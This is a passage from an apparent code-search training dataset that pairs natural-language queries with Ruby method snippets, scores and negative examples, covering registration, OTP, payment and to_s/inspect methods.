"def build_account(data)\n account, iban = data\n Account.new(\n bank: self,\n id: account['cviejo']['numerodecontrato'],\n name: account.fetch('descripcion', '').strip(),\n available_balance: money(account['saldoActual']),\n balance: money(account['saldoActual']),\n iban: iban['codIban'].values().join.strip,\n description: account.fetch('descripcion', '').strip(),\n contract_id: account['cviejo']['subgrupo']\n )\n end",
"def initialize(**options)\n @api_client = PayPoint::Blue::API.new(**options)\n super\n end",
"def create\n @customer = Customer.new(customer_params)\n @customer.user_id = current_user.id\n respond_to do |format|\n if @customer.save\n binding.pry\n @customer.update_attributes(otpsent: generate_otp({\"mobile\"=> @customer.mobile})) \n @otpform = Otpform.new(mobile: @customer.mobile)\n format.html { redirect_to new_otpform_path(@otpform), notice: 'Please enter the otp sent to your mobile' }\n format.json { render :show, status: :created, location: @customer }\n binding.pry\n else\n format.html { render :new }\n format.json { render json: @customer.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @credit_card = ActiveMerchant::Billing::CreditCard.new\n end",
"def initialize(platform, target = nil, **opts)\n super\n\n @pooler = \"http://vmpooler.delivery.puppetlabs.net\"\n @token = load_token\n @required_attributes << \"vmpooler_template\"\n end",
"def generate_confirmation_token; end",
"def generate_registration_key\n self.registration_key = 'C'.freeze + SecureRandom.base64(8)\n end",
"def register_webauthn_device(webauthn_device = nil, name: 'My device')\n webauthn_device ||= FakeWebauthnDevice.new(page, name)\n webauthn_device.respond_to_webauthn_registration\n click_on 'Set up new device'\n expect(page).to have_content('Your device was successfully set up')\n fill_in 'Pick a name', with: name\n click_on 'Register device'\n webauthn_device\n end",
"def save_registration(params)\r\n random_pass = 4.times.map { (0..9).to_a.sample }.join\r\n stgu = Hash.new\r\n stgu['__c'] = 'stgu'\r\n stgu['__p'] = [\r\n nil,\r\n nil,\r\n nil, \r\n 1,\r\n params[:email],\r\n random_pass,\r\n nil,\r\n params[:first_name],\r\n params[:middle_name],\r\n params[:last_name],\r\n params[:phone],\r\n nil,\r\n Settings.register_location,\r\n params[:birth_date]\r\n ]\r\n\r\n address = [\r\n nil,\r\n nil,\r\n nil,\r\n params[:street_address],\r\n nil,\r\n params[:city],\r\n nil,\r\n params[:state],\r\n 'US',\r\n params[:zip_code]\r\n ]\r\n\r\n stgma = Hash.new\r\n stgma['__c'] = 'stgma'\r\n stgma['__p'] = address\r\n\r\n stgba = Hash.new\r\n stgba['__c'] = 'stgba'\r\n stgba['__p'] = address\r\n\r\n stgu_json = stgu.to_json\r\n stgma_json = stgma.to_json\r\n stgba_json = stgba.to_json\r\n\r\n register_path = 'https://catalog.tadl.org/osrf-gateway-v1?service=open-ils.actor&method=open-ils.actor.user.stage.create¶m='\r\n register_path << stgu_json.to_s\r\n register_path << '¶m=' + stgma_json.to_s\r\n register_path << '¶m=' + stgba_json.to_s\r\n\r\n if Settings.register_newsletter == true && params[:enews] == 'true'\r\n uri = URI(Settings.register_listapi_url)\r\n\r\n params = {\r\n 'check' => ENV[\"LISTAPI_KEY\"],\r\n 'email' => params[:email],\r\n 'firstname' => params[:first_name],\r\n 'lastname' => params[:last_name],\r\n 'city' => params[:city],\r\n 'state' => params[:state],\r\n 'zip' => params[:zip_code],\r\n }\r\n\r\n res = Net::HTTP.post_form(uri, params);\r\n # puts res.body if res.is_a?(Net::HTTPSuccess) # Uncomment for DEBUG\r\n\r\n end\r\n\r\n uri = URI.parse(register_path)\r\n response = Net::HTTP.get_response(uri)\r\n if response.code == '200'\r\n return JSON.parse(response.body)\r\n else\r\n return 'error'\r\n end\r\n\r\n end",
"def make_user(params = {})\n self.user= account.users.build_with_fields params.reverse_merge(:email => email, :invitation => self)\n end",
"def build\n WebhooksHelper.new(@marshaller, @secret_key_store)\n end",
"def setup_otp\n self.otp_secret ||= ROTP::Base32.random_base32\n self.otp_counter ||= 0\n end",
"def create_brand request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_create_brand_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Cloud::Iap::V1::Brand.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end",
"def build_ami(instance)\n provision(instance)\n logger.info { \"Finalizing changes for #{self.region} AMI...\" }\n self.agent_ami = register_hailstorm_ami(instance)\n logger.info { \"New AMI##{self.agent_ami} on #{self.region} created successfully, cleaning up...\" }\n end",
"def create_by_omniauth(auth)\n User.create do |user|\n user.assign_attributes(name: auth.info.name, email: auth.info.email,\n password: Devise.friendly_token[0, 20])\n user.skip_confirmation! if user.email\n user.link_with_omniauth(auth)\n end\n end",
"def initialize(owner, expire_date, type)#, dob, phone, vip)\n\t\t@number = rand(10000000)\n\t\t@expire_date = Date.parse(expire_date)\n\t\t@cvv = rand(1000)\n\t\t@name = owner.name\n\t\t# Customer.new(name, dob, phone, vip)\n\tend",
"def new_customer\n @org = Organisation.find_by(permalink: params[:organisation_id])\n @customer = Customer.new\n\n Stripe.api_key = ENV[\"STRIPE_SECRET_KEY\"]\n end",
"def build_merchant\n assign_wares\n # assign_merchant_image\n merchant_sayings\n end",
"def create_branding(params)\n request :post, \"/v3/brandings.json\", params\n end",
"def vendor\n Reggora::Resources::Vendor.new(config)\n end",
"def new\n # Setting the target alum for use in the 'create' method\n @alum = get_target_alum\n @email = SimpleEmail.new\n end",
"def create(form_class, form)\n return false unless set_up_form(form_class, form, params[:token])\n\n # Submit the form by getting the instance variable we just set\n submit_form(instance_variable_get(\"@#{form}\"), transient_registration_attributes)\n end",
"def initialize\n setup_token\n end",
"def brand(klass)\n\t\tklass = klass.dup\n\t\tklass.client = self.client\n\t\treturn klass\n\tend",
"def brand(klass)\n\t\tklass = klass.dup\n\t\tklass.client = self.client\n\t\treturn klass\n\tend",
"def new\n @client = clients.new\n @client.build_address\n end",
"def login\n @brands = Brand.for_service_site\n end",
"def create_carrier_service\n puts \" ____________ CREATE CARRIER SERVICE ______\"\n connectApi\n ShopifyAPI::CarrierService.create({\n \"carrier_service\": {\n \"name\": \"Livraison à domicile avec Urbit\",\n \"callback_url\": \"https://conticini-urbit.herokuapp.com/shipping\",\n \"service_discovery\": true\n }\n })\n end",
"def create(params = {})\n wrapped_params = { carrier_account: params }\n\n # For UPS and FedEx the endpoint is different\n create_url = if CUSTOM_WORKFLOW_CARRIER_TYPES.include?(params[:type])\n 'carrier_accounts/register'\n else\n 'carrier_accounts'\n end\n\n @client.make_request(:post, create_url, MODEL_CLASS, wrapped_params)\n end",
"def build_account(data)\n Account.new(\n bank: self,\n id: data['referencia'],\n name: data['empresaDes'],\n available_balance: data['saldoValor'].to_f,\n balance: data['saldoContable'],\n currency: data['divisa'],\n iban: data['numeroAsunto'],\n description: \"#{data['bancoDes']} #{data['numeroAsuntoMostrar']}\"\n )\n end",
"def registration\n @saas = SETTINGS['saas_registration_mode']\n @user = User.new\n initialize_registration_form\n @errors = {\n :general => [],\n :subjects => [],\n :policies => [],\n :purchase => []\n }\n end",
"def build_xml\n ns = \"http://fedex.com/ws/pickup/v#{service[:version]}\"\n builder = Nokogiri::XML::Builder.new do |xml|\n xml.CreatePickupRequest(:xmlns => ns) {\n add_web_authentication_detail(xml)\n add_client_detail(xml)\n add_version(xml)\n add_origin_detail(xml)\n add_package_details(xml)\n }\n end\n builder.doc.root.to_xml\n end",
"def create\n if api_key.blank?\n current_user_id = spree_current_user[:id]\n else\n user = Spree::User.find_by(spree_api_key: api_key)\n current_user_id = user[:id]\n end\n create_vendor(current_user_id)\n end",
"def build_resource(*args)\n super\n if session[:omniauth]\n @user.apply_omniauth(session[:omniauth])\n @user.valid?\n end\n end",
"def sign_up(gym, cost)\n Membership.new(self, gym, cost)\n\n end",
"def brand_params\n params.require(:brand).permit(:brand_name, :website_url, :email, :address1, :address2, :city, :primary_country_id, :brand_country_id, :state_province_id, :pincode, :phone_number, :default, :brand).merge(:user_id => current_user.id)\n end"
] |
[
"0.7384454",
"0.67743194",
"0.5816949",
"0.5563608",
"0.5242484",
"0.5218351",
"0.5096465",
"0.50843716",
"0.50616604",
"0.5013985",
"0.49961314",
"0.49814317",
"0.49792665",
"0.49792665",
"0.4971616",
"0.49658054",
"0.49262452",
"0.4915125",
"0.49097523",
"0.48610842",
"0.48599866",
"0.4858893",
"0.48468184",
"0.48380515",
"0.48310113",
"0.4824552",
"0.47998226",
"0.47958988",
"0.4795122",
"0.47737178",
"0.4771044",
"0.47622848",
"0.47551244",
"0.47513977",
"0.47408724",
"0.47349253",
"0.4731086",
"0.4727672",
"0.4727231",
"0.47256613",
"0.4716098",
"0.47118625",
"0.4708974",
"0.47084016",
"0.46895996",
"0.46807182",
"0.46732578",
"0.46724337",
"0.46521124",
"0.4648686",
"0.46358776",
"0.46292406",
"0.46273273",
"0.46242052",
"0.4624196",
"0.46237388",
"0.46201533",
"0.46160188",
"0.4614733",
"0.4613468",
"0.46132386",
"0.46089515",
"0.4608343",
"0.45967507",
"0.45959306",
"0.4595477",
"0.4592193",
"0.45873323",
"0.45790857",
"0.45730895",
"0.4569443",
"0.45692614",
"0.4565609",
"0.45629358",
"0.4561512",
"0.45610055",
"0.45607275",
"0.45600677",
"0.45575872",
"0.45556036",
"0.4551876",
"0.4547954",
"0.4542159",
"0.45385972",
"0.45365518",
"0.45293155",
"0.45289478",
"0.45228943",
"0.45228943",
"0.45190486",
"0.4518917",
"0.45181373",
"0.4516673",
"0.45155463",
"0.45126763",
"0.45065627",
"0.4505208",
"0.4503736",
"0.45034558",
"0.4503393"
] |
0.79249465
|
0
|
Provide a user friendly representation
|
def to_s
'<Twilio.Messaging.V1.BrandRegistrationOtpPage>'
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def to_display\n raise NotImplementedError\n end",
"def to_s; description end",
"def toString\n #Not sure if we want this or just use the getters for more\n #selective formatting\n end",
"def to_s\n super\n end",
"def to_s\n super\n end",
"def to_s\n \"#{@name}, \" \\\n \"#{model.upcase}: \" \\\n \"#{data.values.join(\"/\")}, \" \\\n \":#{@type}\"\n end",
"def to_s\n\t\tsuper\n\tend",
"def to_s\r\n \"<#{self.class.name} id: #{self[:id]}, description: #{self[:description]}, definition: #{self[:definition]}, has_inverse: #{self[:has_inverse]} accuracy: #{self[:accuracy]}\"\r\n end",
"def render\n inspect\n end",
"def to_s\n pieces = []\n pieces << self.class.name\n pieces << \"id:##{id.inspect}\"\n pieces << \"standardized:\" + (is_standard? ? 'standard' : (standard_id.nil? ? 'no' : \"copy-of-#{standard_id}\"))\n pieces << \"mission:#{mission_id.inspect}\"\n pieces.join(', ')\n end",
"def format; end",
"def format; end",
"def format; end",
"def format; end",
"def format; end",
"def format; end",
"def format; end",
"def format; end",
"def rendered_format; end",
"def rendered_format; end",
"def to_s\n render\n end",
"def to_s\n return super\n end",
"def display_string\n display = [self.name]\n display << self.description if self.description && self.type == 'StorageType'\n display << self.software if self.software && self.type == 'DatabaseType'\n cpu = self.cpu_values_string\n display << \"CPU: #{cpu}\" unless cpu.blank? || self.type == 'StorageType'\n display << \"RAM: #{self.memory} GB\" if self.memory && self.type != 'StorageType'\n hdd = self.hdd_values_string\n display << \"HDD: #{hdd}\" unless hdd.blank?\n display << self.operating_system if self.operating_system && self.type != 'StorageType'\n display.join(', ')\n end",
"def to_s\n 'Id: ' + @id.to_s +\n ', Expires on: ' + display_expiry_date +\n ', Level: ' + map_number_to_word_level(@level) +\n ', Number of days left to expire: ' + display_num_of_days_left +\n ', Description: ' + @description % self\n end",
"def humanize\n # TODO\n # Inflector.humanize(self)\n end",
"def to_s\n\t\tdescription\n\tend",
"def to_s\n\t\tdescription\n\tend",
"def to_s\n %(<#{ @name }#{attributes}>)\n end",
"def to_s\n %w( name display_name uuid ).collect { |k| \"#{k}=#{ self.send(k) }\" }.join(' | ') + \" | types=#{ types.join(',') }\"\n end",
"def to_s\n long_display\n end",
"def to_s\n long_display\n end",
"def to_s\n long_display\n end",
"def to_s\n long_display\n end",
"def to_s\n self.name.to_s || super\n end",
"def to_s\n descr\n end",
"def to_s\n self.name.humanize\n end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s ; format ; end",
"def formatted_name\n \"#{self.id} - #{self.name}\"\n #This is used to bring value on each page.\n end",
"def to_s\n\t\t\"#{self.name}\"\n\tend",
"def to_s\n \n end",
"def to_s\n self.name || super\n end",
"def to_s\n self.name || super\n end",
"def to_s\n return \"#{@name} - #{@description} : #{@rating}\"\n end",
"def inspect; to_s; end",
"def inspect; to_s; end",
"def inspect; to_s; end",
"def inspect; to_s; end",
"def inspect; to_s; end",
"def to_s\n raise NotImplementedError\n end",
"def short_inspect\n attrs = []\n attrs << [\"id\", id || \"new_record\"]\n\n string_attr = proc { |value| '\"' + TextHelpers.truncate(value, :length => 10) + '\"' }\n\n if respond_to?(:name) && name.present?\n attrs << [\"name\", string_attr[name]]\n elsif respond_to?(:title) && title.present?\n attrs << [\"title\", string_attr[title]]\n end\n\n \"#<#{ self.class } #{ attrs.map { |name, value| \"#{ name }: #{ value }\" }.join(\", \") }>\"\n end"
] |
[
"0.70430577",
"0.7025487",
"0.7008232",
"0.7007793",
"0.69441473",
"0.6917163",
"0.68431",
"0.6797009",
"0.6655106",
"0.66227216",
"0.6618043",
"0.6618043",
"0.6618043",
"0.6618043",
"0.6618043",
"0.6618043",
"0.6618043",
"0.6618043",
"0.660979",
"0.660979",
"0.6585346",
"0.65730983",
"0.65662885",
"0.65404147",
"0.65379703",
"0.651875",
"0.651875",
"0.6516385",
"0.6501134",
"0.65010244",
"0.65010244",
"0.65010244",
"0.65010244",
"0.64861107",
"0.6478101",
"0.64581114",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6442197",
"0.64329034",
"0.64289695",
"0.64203346",
"0.6419349",
"0.6419349",
"0.6418417",
"0.64115626",
"0.64115626",
"0.64115626",
"0.64115626",
"0.64115626",
"0.64071685",
"0.63947713"
] |
0.0
|
-1
|
Provide a user friendly representation
|
def to_s
"<Twilio.Messaging.V1.BrandRegistrationOtpInstance>"
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def to_display\n raise NotImplementedError\n end",
"def to_s; description end",
"def toString\n #Not sure if we want this or just use the getters for more\n #selective formatting\n end",
"def to_s\n super\n end",
"def to_s\n super\n end",
"def to_s\n \"#{@name}, \" \\\n \"#{model.upcase}: \" \\\n \"#{data.values.join(\"/\")}, \" \\\n \":#{@type}\"\n end",
"def to_s\n\t\tsuper\n\tend",
"def to_s\r\n \"<#{self.class.name} id: #{self[:id]}, description: #{self[:description]}, definition: #{self[:definition]}, has_inverse: #{self[:has_inverse]} accuracy: #{self[:accuracy]}\"\r\n end",
"def render\n inspect\n end",
"def to_s\n pieces = []\n pieces << self.class.name\n pieces << \"id:##{id.inspect}\"\n pieces << \"standardized:\" + (is_standard? ? 'standard' : (standard_id.nil? ? 'no' : \"copy-of-#{standard_id}\"))\n pieces << \"mission:#{mission_id.inspect}\"\n pieces.join(', ')\n end",
"def format; end",
"def format; end",
"def format; end",
"def format; end",
"def format; end",
"def format; end",
"def format; end",
"def format; end",
"def rendered_format; end",
"def rendered_format; end",
"def to_s\n render\n end",
"def to_s\n return super\n end",
"def display_string\n display = [self.name]\n display << self.description if self.description && self.type == 'StorageType'\n display << self.software if self.software && self.type == 'DatabaseType'\n cpu = self.cpu_values_string\n display << \"CPU: #{cpu}\" unless cpu.blank? || self.type == 'StorageType'\n display << \"RAM: #{self.memory} GB\" if self.memory && self.type != 'StorageType'\n hdd = self.hdd_values_string\n display << \"HDD: #{hdd}\" unless hdd.blank?\n display << self.operating_system if self.operating_system && self.type != 'StorageType'\n display.join(', ')\n end",
"def to_s\n 'Id: ' + @id.to_s +\n ', Expires on: ' + display_expiry_date +\n ', Level: ' + map_number_to_word_level(@level) +\n ', Number of days left to expire: ' + display_num_of_days_left +\n ', Description: ' + @description % self\n end",
"def humanize\n # TODO\n # Inflector.humanize(self)\n end",
"def to_s\n\t\tdescription\n\tend",
"def to_s\n\t\tdescription\n\tend",
"def to_s\n %(<#{ @name }#{attributes}>)\n end",
"def to_s\n %w( name display_name uuid ).collect { |k| \"#{k}=#{ self.send(k) }\" }.join(' | ') + \" | types=#{ types.join(',') }\"\n end",
"def to_s\n long_display\n end",
"def to_s\n long_display\n end",
"def to_s\n long_display\n end",
"def to_s\n long_display\n end",
"def to_s\n self.name.to_s || super\n end",
"def to_s\n descr\n end",
"def to_s\n self.name.humanize\n end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s; end",
"def to_s ; format ; end",
"def formatted_name\n \"#{self.id} - #{self.name}\"\n #This is used to bring value on each page.\n end",
"def to_s\n\t\t\"#{self.name}\"\n\tend",
"def to_s\n \n end",
"def to_s\n self.name || super\n end",
"def to_s\n self.name || super\n end",
"def to_s\n return \"#{@name} - #{@description} : #{@rating}\"\n end",
"def inspect; to_s; end",
"def inspect; to_s; end",
"def inspect; to_s; end",
"def inspect; to_s; end",
"def inspect; to_s; end",
"def to_s\n raise NotImplementedError\n end",
"def short_inspect\n attrs = []\n attrs << [\"id\", id || \"new_record\"]\n\n string_attr = proc { |value| '\"' + TextHelpers.truncate(value, :length => 10) + '\"' }\n\n if respond_to?(:name) && name.present?\n attrs << [\"name\", string_attr[name]]\n elsif respond_to?(:title) && title.present?\n attrs << [\"title\", string_attr[title]]\n end\n\n \"#<#{ self.class } #{ attrs.map { |name, value| \"#{ name }: #{ value }\" }.join(\", \") }>\"\n end"
] |
[
"0.70430577",
"0.7025487",
"0.7008232",
"0.7007793",
"0.69441473",
"0.6917163",
"0.68431",
"0.6797009",
"0.6655106",
"0.66227216",
"0.6618043",
"0.6618043",
"0.6618043",
"0.6618043",
"0.6618043",
"0.6618043",
"0.6618043",
"0.6618043",
"0.660979",
"0.660979",
"0.6585346",
"0.65730983",
"0.65662885",
"0.65404147",
"0.65379703",
"0.651875",
"0.651875",
"0.6516385",
"0.6501134",
"0.65010244",
"0.65010244",
"0.65010244",
"0.65010244",
"0.64861107",
"0.6478101",
"0.64581114",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6448988",
"0.6442197",
"0.64329034",
"0.64289695",
"0.64203346",
"0.6419349",
"0.6419349",
"0.6418417",
"0.64115626",
"0.64115626",
"0.64115626",
"0.64115626",
"0.64115626",
"0.64071685",
"0.63947713"
] |
0.0
|
-1
|
Provide a detailed, user friendly representation
|
def inspect
"<Twilio.Messaging.V1.BrandRegistrationOtpInstance>"
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def details; end",
"def to_s; description end",
"def get_detail\n return self.inspect\n end",
"def to_display\n raise NotImplementedError\n end",
"def formatted_info\n \"#{self.name} - #{self.description}\"\n end",
"def toString\n #Not sure if we want this or just use the getters for more\n #selective formatting\n end",
"def inspect\n 'Id: ' + @id.to_s +\n ', Expires on: ' + display_expiry_date +\n ', Level: ' + map_number_to_word_level(@level) +\n ', Number of days left to expire: ' + display_num_of_days_left +\n ', Description: ' + @description % self\n end",
"def short_inspect\n attrs = []\n attrs << [\"id\", id || \"new_record\"]\n\n string_attr = proc { |value| '\"' + TextHelpers.truncate(value, :length => 10) + '\"' }\n\n if respond_to?(:name) && name.present?\n attrs << [\"name\", string_attr[name]]\n elsif respond_to?(:title) && title.present?\n attrs << [\"title\", string_attr[title]]\n end\n\n \"#<#{ self.class } #{ attrs.map { |name, value| \"#{ name }: #{ value }\" }.join(\", \") }>\"\n end",
"def render\n inspect\n end",
"def overview\n\n end",
"def record_display\n string = \"#{id}. Title: #{title}\\n Author: #{author}\\n ISBN: #{isbn}\\n\"\n if library.nil?\n string += \" Library: None\\n\"\n else\n string += \" Library: #{library.branch_name}\\n\"\n end\n if patron.nil?\n string += \" Checked Out: Available\"\n else\n string += \" Checked Out: #{patron.name}\"\n end\n string\n end",
"def render_plain\n short_category(object.action) << \"\\n\" << instance_attributes\n end",
"def details\n\n return @description + \": \" + \"#{@infection}\" + \". \" + @patient.details\n\n end",
"def to_s\n 'Id: ' + @id.to_s +\n ', Expires on: ' + display_expiry_date +\n ', Level: ' + map_number_to_word_level(@level) +\n ', Number of days left to expire: ' + display_num_of_days_left +\n ', Description: ' + @description % self\n end",
"def description; end",
"def description; end",
"def description; end",
"def description; end",
"def description; end",
"def description; end",
"def description; end",
"def description; end",
"def description; end",
"def description; end",
"def display_string\n display = [self.name]\n display << self.description if self.description && self.type == 'StorageType'\n display << self.software if self.software && self.type == 'DatabaseType'\n cpu = self.cpu_values_string\n display << \"CPU: #{cpu}\" unless cpu.blank? || self.type == 'StorageType'\n display << \"RAM: #{self.memory} GB\" if self.memory && self.type != 'StorageType'\n hdd = self.hdd_values_string\n display << \"HDD: #{hdd}\" unless hdd.blank?\n display << self.operating_system if self.operating_system && self.type != 'StorageType'\n display.join(', ')\n end",
"def to_s\r\n \"<#{self.class.name} id: #{self[:id]}, description: #{self[:description]}, definition: #{self[:definition]}, has_inverse: #{self[:has_inverse]} accuracy: #{self[:accuracy]}\"\r\n end",
"def full_description\n \"#{self.class.description} #{self.description}\"\n end",
"def to_s\n descr\n end",
"def details\r\n return @description + \"; \" + @vPatients + \"; \" + @vProfiles + \": \" + @vAppointments\r\n end",
"def display\n to_h.fetch(:display)\n end",
"def display\n to_h.fetch(:display)\n end",
"def inspect_details\n\t\treturn \"ID=%s (%s)\" % [\n\t\t\tself.id,\n\t\t\tself.components.keys.map( &:name ).sort.join( '+' )\n\t\t]\n\tend",
"def to_s\n\t\tres = \"\\nname: \" + name.to_s + \"\\nid: \" + id.to_s + \"\\nservice: \" + service.to_s + \"\\ntitle: \" + title.to_s + \"\\nthumbnail: \" + thumbnail.to_s + \"\\nhref: \" + href.to_s\n\t\tres\n\tend",
"def details\n\t\t\"#{name}---#{status}-----#{start_date}----#{description}---- #{Client.find(client_id).name}---#{Client.find(client_id).email}\"\n\tend",
"def show\n @title = @user.complete_name\n @description = \"Informations relatives à #{@user.complete_name}\"\n @jsonld = @user.to_jsonld\n end",
"def details\n end",
"def to_s\n \"#{represent_status} : #{description}\"\n end",
"def details\n format_description(@description) + \"site name: \" + format_name\n end",
"def to_s\n\t\tdescription\n\tend",
"def to_s\n\t\tdescription\n\tend",
"def to_s_details\n ''\n end",
"def details\n\n end",
"def descriptions\n return @detail + \"; \" + @firm + \"; \" + @age + \": \" + \"#{@cost}\"\n end",
"def show\n\t\t@attrib_keys = [\"desc\", \"higher_level\", \"range\", \"components\", \"material\", \"ritual\", \"duration\", \"concentration\", \"casting_time\", \"level\", \"school\", \"class_names\", \"archetype\", \"domains\", \"oaths\", \"circles\", \"patrons\"]\n\tend",
"def to_s\n \"#{@name}, \" \\\n \"#{model.upcase}: \" \\\n \"#{data.values.join(\"/\")}, \" \\\n \":#{@type}\"\n end",
"def inspect_details\n ''\n end",
"def inspect\n \"#<#{self.class} ##{id} #{name} (#{slug})>\"\n end",
"def display_quick\r\n s = ''\r\n for i in @me.keys\r\n s << \" <b>#{i}.</b><br/>\" # country\r\n for j in @me[i].keys\r\n s << \" <b>#{j}:</b><br/>\" if not j == 'unknown' # state\r\n for k in @me[i][j].keys\r\n s << \" #{k}<br/>\" if not k == 'unknown' # county\r\n for l in @me[i][j][k].keys\r\n s << (\" \" + (l == 'unknown' ? \"<i>repository not given</i>\" : \" #{l}\") + \"<br/>\") if not l == nil # repository\r\n s << \" \" + @me[i][j][k][l].keys.collect{|m| \r\n (\"#{@me[i][j][k][l][m]} \" +\r\n case m # the count\r\n when 'female'\r\n \"♀\"\r\n when 'male'\r\n \"♂\"\r\n when 'gynadropmorph'\r\n \"[♀♂]\"\r\n else\r\n \"unknown sex\"\r\n end)}.join(\",\") \r\n s << \"<br/>\" \r\n end\r\n end\r\n end\r\n end\r\n s.html_safe\r\n end",
"def details\n return @description + \"; \" + @firm + \"; \" + @age + \": \" + \"#{@cost}\"\n end",
"def to_s\n super\n end",
"def to_s\n pieces = []\n pieces << self.class.name\n pieces << \"id:##{id.inspect}\"\n pieces << \"standardized:\" + (is_standard? ? 'standard' : (standard_id.nil? ? 'no' : \"copy-of-#{standard_id}\"))\n pieces << \"mission:#{mission_id.inspect}\"\n pieces.join(', ')\n end",
"def rendered_format; end",
"def rendered_format; end",
"def to_s\n\t\t\tstr = super() + \"\\n\"\n\t\t\tstr += \"\\tAppaleable? #{appaleable}\\n\" if appaleable\n\t\t\tstr += \"\\tDisapproved text: #{disapproved_text}\\n\" if disapproved_text\n\t\t\tstr += \"\\tLocation: #{location}\\n\" if location\n\t\t\tstr += \"\\tDisapproved text: #{disapproved_text}\\n\" if disapproved_text\n\t\t\tstr += \"\\tReason code: #{reason_code} (see: http://msdn.microsoft.com/en-US/library/bing-ads-editorialfailurereasoncodes.aspx)\\n\" if reason_code\n\n\t\tend",
"def display_data\n\t\t\t\"#{@model} #{@color} #{@horsepower} #{@year} #{@brand} #{@mpg}\"\n\t\tend",
"def to_s\n \"\\n\\tTitle: #{@title}\\n\n \\tAuthor: #{@author}\\n\n \\tUrl: #{@url}\\n\\n\"\n end",
"def inspect\n to_s.inspect\n end",
"def details\n data()\n end",
"def details\n\n return @description + \"; \" + @firstname + \"; \" + @lastname + \": \" + @dob + \": \"+ @address + \": \"+ @phone + \": \" + \"#{@infection}\"\n\n end",
"def inspect\n to_s\n end",
"def inspect\n to_s\n end",
"def show\n raise NotImplementedError\n end",
"def to_s\n long_display\n end",
"def to_s\n long_display\n end",
"def to_s\n long_display\n end",
"def to_s\n long_display\n end",
"def show\n \n end",
"def show\n \n end",
"def show\n \n end",
"def show\n \n end",
"def show\n \n end",
"def show\n \n end",
"def show\n \n end",
"def show\n \n end",
"def show\n \n end",
"def inspect\n\t\tparts = []\n\t\tparts << self.one_of_description\n\t\tparts << self.all_of_description\n\t\tparts << self.none_of_description\n\t\tparts.compact!\n\n\t\tstr = \"#<%p:%#0x matching entities\" % [ self.class, self.object_id * 2 ]\n\t\tif parts.empty?\n\t\t\tstr << \" with any components\"\n\t\telse\n\t\t\tstr << parts.join( ', ' )\n\t\tend\n\t\tstr << \">\"\n\n\t\treturn str\n\tend",
"def inspect\n to_s\n end",
"def description\n return summary\n end",
